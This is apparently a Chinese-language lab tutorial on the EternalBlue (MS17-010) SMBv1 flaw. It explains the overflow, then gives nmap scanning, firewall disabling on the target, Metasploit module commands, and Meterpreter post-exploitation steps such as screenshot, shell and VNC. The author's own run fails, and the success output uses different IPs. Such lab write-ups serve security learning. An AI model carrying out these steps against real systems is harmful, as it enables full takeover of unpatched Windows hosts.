前言
MS17-010(永恒之蓝) (EternalBlue,漏洞编号 MS17-010) 是一个利用 Windows 系统老旧 SMBv1 协议 实现的高危远程代码执行漏洞。攻击者通过向目标主机开放的 445 端口发送精心构造的恶意 SMB 数据包,可在无需任何用户交互的情况下,直接获取 SYSTEM 最高权限,并在目标系统上执行任意代码,实现对主机的完全控制。
一、漏洞基础信息
1. 核心标识
- 官方编号:MS17-010(微软2017年3月安全公告),对应CVE编号:CVE-2017-0143、CVE-2017-0144、CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148(分别对应这个漏洞里不同的子漏洞 / 利用点,是全球通用的漏洞唯一标识)
- 漏洞名称:永恒之蓝(EternalBlue)
- 漏洞类型:远程代码执行(RCE)+ 权限提升,无需用户交互即可触发
- 攻击端口:TCP 445(SMB服务默认端口)、139(NBT协议端口)
💡补充知识
- CVE:Common Vulnerabilities and Exposures,是全球通用的漏洞编号系统,每个漏洞都有唯一的 CVE 号,方便安全人员交流、追踪
- MS 编号:Microsoft Security Bulletin,是微软自己的安全公告编号,用来标识针对 Windows 系统发布的安全补丁和漏洞修复
2. 影响范围
几乎覆盖微软所有未打补丁的老旧Windows系统,核心受影响版本:
- 客户端:Windows XP、Vista、7、8、8.1
- 服务器:Windows Server 2003、2008、2008 R2、2012(SP0)
- 备注:Windows 10及Server 2016及以上版本默认禁用SMBv1,受影响程度极低
二、漏洞原理
1. 漏洞根源:SMBv1协议缺陷
SMB(Server Message Block)是Windows用于文件/打印机共享、网络通信的核心协议,SMBv1是其早期版本,因设计缺陷存在严重安全隐患。
永恒之蓝利用的是SMBv1处理TRANSACTION2请求时的堆缓冲区溢出漏洞:
- Windows SMB服务在解析攻击者精心构造的恶意SMB数据包时,未对数据长度做严格校验,导致超出缓冲区的数据覆盖关键内存区域
- 攻击者可精准控制内存覆盖位置与内容,劫持程序执行流程,将恶意代码(Shellcode)注入系统内核
- 漏洞触发后,恶意代码以SYSTEM(系统最高权限) 执行,攻击者直接获得目标主机完全控制权
💡 关键概念补充
- SMBv1:SMB 协议的初代版本,因设计老旧、缺乏安全校验,已被微软官方标记为「废弃协议」,现代 Windows 系统默认已禁用。
- 堆缓冲区溢出:一种内存 corruption 漏洞,当程序向缓冲区写入超出其容量的数据时,多余数据会覆盖相邻内存区域,攻击者可借此劫持程序执行流。
- TRANSACTION2 请求:SMBv1 协议中用于扩展文件操作的子协议,漏洞就出在对该请求的解析逻辑中。
- Shellcode:攻击者精心构造的一段二进制机器码,注入后会被系统执行,通常用于建立反向连接、提权或下载恶意程序。
- SYSTEM 权限:Windows 系统的最高权限级别,拥有对系统所有资源、进程、文件的完全控制权,是攻击者的终极目标。
2. 攻击流程(无交互、全自动)
- 扫描探测:攻击者通过工具(如nmap、MSF)扫描全网开放445端口的Windows主机,筛选漏洞目标
- 数据包构造:生成包含溢出代码与恶意指令的特制SMB TRANSACTION2数据包
- 溢出触发:向目标445端口发送恶意数据包,触发SMBv1堆溢出,劫持系统执行流程
- 代码执行:注入的Shellcode在目标主机内核执行,建立反向连接(如Meterpreter会话)
- 权限获取:直接获得SYSTEM权限,可执行文件操作、进程控制、横向移动等任意操作
- 恶意扩散:利用SMB协议在内网自动扫描并攻击其他主机,形成蠕虫式传播
三、漏洞利用实战(Kali+Metasploit)
1. 环境准备
- 攻击机:Kali Linux(安装Metasploit Framework)
- 靶机:未打MS17-010补丁的Windows 7/Server 2008 R2(445端口开放,关闭防火墙)
- 网络:攻击机与靶机处于同一局域网,确保网络互通。(桥接模式)
- 前提:已知目标服务器的IP地址
2. 扫描目标主机是否存在漏洞。
nmap -sV -p445 --script=smb-vuln-ms17-010 目标主机IP地址
2.1. 操作:
2.1.1. 查询目标主机的IP地址
我的虚拟机IP是 172.20.10.6
2.1.2. kali提权
sudo su
2.1.3. 扫描目标主机
nmap -sV -p445 --script=smb-vuln-ms17-010 172.20.10.6
扫描结果显示:
445/tcp filtered microsoft-ds
filtered:表示目标主机的 445 端口(SMB 服务端口)被防火墙/安全策略拦截,Nmap 无法正常访问,因此漏洞脚本无法执行。
2.1.4. 网络连通性排查
为确认是否是网络不通导致的问题,先执行 ping 命令测试连通性:
ping 172.20.10.5
- 若能收到 ICMP 回复:说明 Kali 与靶机网络连通,问题聚焦在端口拦截。
- 若 ping 不通:需先排查虚拟机网络模式(推荐 NAT/桥接模式)或靶机 ICMP 响应限制。
注:即使 ping 不通,也不代表 445 端口不可用,很多 Windows 系统默认禁用 ICMP 响应。
网络可连通。
2.1.5. 在cmd里查看防火墙是否关闭:
netsh advfirewall show allprofiles state
从命令输出可以看到:
- 域配置文件:状态 = 打开(防火墙还在跑!)
- 专用/公用配置文件:状态 = 关闭
这就是 445 端口依然显示 filtered 的根本原因:
在域环境下的 Windows 7 靶机中,仅关闭专用/公用防火墙是不够的,域防火墙仍会拦截 445 端口。需通过命令或图形界面关闭域防火墙,才能让 Nmap 正常访问 SMB 服务,完成 MS17-010 漏洞检测。
2.1.6. 关闭域防火墙
- 打开 控制面板 → 系统和安全 → Windows 防火墙
- 左侧选择 高级设置
- 在弹出的「高级安全 Windows 防火墙」窗口,点击 属性
- 在「域配置文件」标签页,把「防火墙状态」改成 关闭 → 确定
2.1.7. 查看防火墙是否成功关闭
2.1.8. 再次验证扫描
回到 Kali 执行扫描命令:
nmap -sV -p445 --script=smb-vuln-ms17-010 172.20.10.6
3. 攻击流程
3.1. 命令解释
3.1.1. 启动 Metasploit 控制台
msfconsole
- 作用:启动 Metasploit 交互控制台,加载所有渗透模块。
3.1.2. 查找 MS17-010 相关模块
search ms17-010
- 作用:搜索与永恒之蓝漏洞对应的攻击模块
3.1.3. 加载攻击模块
use 模块序号
- 作用:加载指定的永恒之蓝攻击模块,准备配置参数。
3.1.4. 查看模块配置选项
show options
- 作用:列出模块需要配置的关键参数,重点关注
RHOSTS(目标主机)、LHOST(攻击机 IP)等。
3.1.5. 设置目标主机
set rhost 靶机 IP
rhost:要攻击的目标 Windows 主机 IP
3.1.6. 执行攻击
run
- 作用:向目标主机发送恶意 SMB 数据包,触发缓冲区溢出,注入 Shellcode 并建立 Meterpreter 会话。
3.2. 操作
3.2.1. 启动 Metasploit 控制台
msfconsole
注意:每次启动该工具的界面都不一样
3.2.2. 查找 MS17-010 相关模块
search ms17-010
3.2.3. 加载攻击模块
use 0
3.2.4. 设置目标主机
set rhost 172.20.10.6
3.2.5. 设置攻击机
ifconfig查IP
set lhost 172.16.185.138
3.2.6. 执行攻击
run
WIN--成功
FAIL--失败
失败原因不明
- 防火墙均已关闭
- 445端口开放
netstat -ano | findstr ":445"
- 有显示 LISTENING = 445 开着
- 啥都不显示 = 445 没开
- 未打 KB4012598 补丁(微软在 2017 年 3 月 14 日 发布的 安全更新补丁,专门用于修复 MS17-010 漏洞)
3.2.7. 监控目标主机
run vnc
3.2.8. 攻击成功标志
当看到类似输出时,说明攻击成功:
[*] Meterpreter session 1 opened (192.168.157.131 -> 192.168.157.130:445)
meterpreter >
- 进入
meterpreter >提示符,代表已获取目标主机的 SYSTEM 权限,可以执行文件操作、提权、截屏等任意控制命令。 - 在成功获取 Meterpreter 会话后,可通过以下核心命令实现对目标主机的高效控制与信息采集:
执行 screenshot 命令,可一键捕获目标主机当前桌面画面,并自动将截图文件保存至攻击机本地目录,用于直观获取目标主机桌面状态与敏感信息。
通过 shell 命令可直接进入目标主机的 Windows 命令行终端,执行原生系统命令完成深度信息采集。
若执行 ipconfig 查看网卡信息时出现中文 / 特殊字符乱码,可在 Shell 环境中执行 chcp 65001 命令,将终端编码切换为 UTF-8 格式,即可正常显示完整网卡配置信息。
四、总结
永恒之蓝攻击的核心是利用 SMBv1 协议堆溢出漏洞,通过 Metasploit 自动化完成漏洞利用与会话建立。从模块加载到参数配置,再到最终获取 Meterpreter 会话,完整体现了“无交互远程代码执行”的高危特性,也凸显了及时打补丁、禁用 SMBv1 的重要性。